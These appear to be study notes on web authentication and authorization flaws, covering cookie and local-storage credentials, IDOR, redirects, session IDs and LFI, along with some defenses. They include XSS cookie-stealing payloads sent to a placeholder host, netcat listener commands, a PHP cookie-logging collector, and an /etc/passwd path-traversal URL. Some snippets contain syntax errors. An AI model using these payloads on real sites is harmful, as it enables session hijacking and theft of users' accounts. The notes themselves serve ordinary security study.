Cookie

The cookie method makes use of cookies to store credentials; therefore, the password will be stored in a cookie and sent through the HTTP Cookie header.

Alternatively, a token might be stored in the Cookie; this is a better feature, as the token can be given an expiration that is much shorter than the expiration of the user's password.

The security concern here is that an attacker could steal the cookie via the following:

XSS Attack - only possible if the cookie has not been marked with the flag HTTPOnly. Session Hijacking via packet sniffing only if the cookie is sent over an unencrypted channel. When the cookie is obtained, access to the user's account is obtained as well.

Note that in the case of the value stored in the cookie might have a much longer life (even 30 days) compared to a session cookie (which usually expired in minutes or hours)

// XSS to get cookie
<script>new image().src="http://ip/abc.php?output="document.cookie;</script>
nc -lvp 80

// grabbing cookie
<script>new image().src="http://ip/grab.php?cookie="+document.cookie;</script>
nc -lvp 80

<?php 
// grab.php code

date_default_timezone_set("Etc/GMT+2");

if(isset($_GET['cookie'])) {
	$cookie $_GET['cookie'];
        $fulldate = date("d/m/y");
        $timestamp = date("H:m:s");
        $archive = fopen("cookies_saved.txt","a");
       fwrite($archive, "[$fulldate - $timestamp] -> +1 COOKIE!!!\n\n Cookie: $cookie\n");
       fclose($archive);
}
?>

Local Storage A developer could rely on local storage to store creds.

The dev would use the api call localStorage.setItem() to add an item containing credential data to local web storage. Web storage is a data container accessible and writable by all pages sharing the same origin; therefore an attacker could access web storage after a successful XSS attack.

If the password has been stored unencrypted, the attacker will obtain the victim's pass.

Autocomplete

Cache Browser Method Defense The autocomplete HTML attribute instructs the browser on whether stroring certain form information is allowed or not.

Use the following code to disable the cache for the html pass element:

// HTML
<INPUT TYPE="password" AUTOCOMPLETE="off">

Cookie method defense If the cookie contains the user pass, the pass must be encrypted before storing it within the cookie Keep in mind that a cookie can be easily stolen (via XSS exploit) and loaded on a diff browser.

if the attacker can steal the "Remember me" cookie, the attacker can impersonate the victim without knowing the actual pass.

Password reset weaknesses

recyclable password reset link In a recycable link, the link triggering the password reset can be used more than once. If an attacker obtains it, he can reset the victim's pass even if the link has already been used. It would mean that a random token in the pass reset link is not enough; it should also be discarded once it has been used.

Bypassing Authorization

note the term bypass. Varying from prev sections we till not try to find a password, we will instead try to access protected contact without actually logging in.

IDOR

A reference becomes insecure when the web app does not validate the related input parameters properly, and a attacker can manipulate them to access other objects.

Parameter modification

Sometimes web devs make use of fixed parameters to provide access to protected pages. If no other control is provided, an attacker could take advantage of this vulnerability to access the protected contents.

Note that user-controllable input in Php would be anything coming from $_GET, $_POST, $_FILE, $REQUEST, $_COOKIE and some sections of $_SERVER.

www.example.com/index.php?auth=TRUE

the fixed parameter is auth, and it is used by the web app to distinguish between authenticated and non-authenticated sessions.

Incorrect Redirection Generally this feature is implemented by using the Location HTTP Header, a web app that wants to redirect a user to a new page inserts this header (with the new page location) into the HTTP response.

By using a proxy (like Burp) an attacker can easily see protected contents.

Incorrect Redirection Generally this feature is implemented by using the Location HTTP Header, a web app that wants to redirect a user to a new page inserts this header (with the new page location) into the HTTP response.

By using a proxy (like Burp) an attacker can easily see protected contents.

Must terminate with using the die() function

<?
session_start();
if (!isset($_SESSION['logged'])) {
header("Location: http://www.securesite.com/login");
die();
}
?>
// Protected Content

SessionID Prediction

Generally web apps manage authentication by assigning a unique token to each authenticated session.

The session token, known as the session identifier will be sent by the server to the user after successful login. It will then be re-sent by the user in subsequent http requests (embedded in the url or cookie)

A session identifier can be easily guessed by an attacker if its generation is predicable. A strong session identifier must have the following features: Purely random and unpredictable time-limited valid only for single session

Should an attacker find a valid session identifier, the attacker will be able to impersonate the victim's session without knowing the victim's creds.

LFI & Path traversal are 2 other vulns that can be used to bypass the security authorization mechanisms implemented in a web app. They typically happen when the web app that is trying to retrieve a file from the file system does not properly sanitize the user input.

Path traversal allows attacker to retrieve files from the web server that are not intended to be accessible LFI is a type of vuln thtat allows the attackeer to access or execute code of a local file

example http://secureapp.site/what.php?lang=[path_to_file]%00

path to file such as /etc/passwd %00 is the url encoded ver of null char. It marks the end of a string so that the .html extension is not concatenated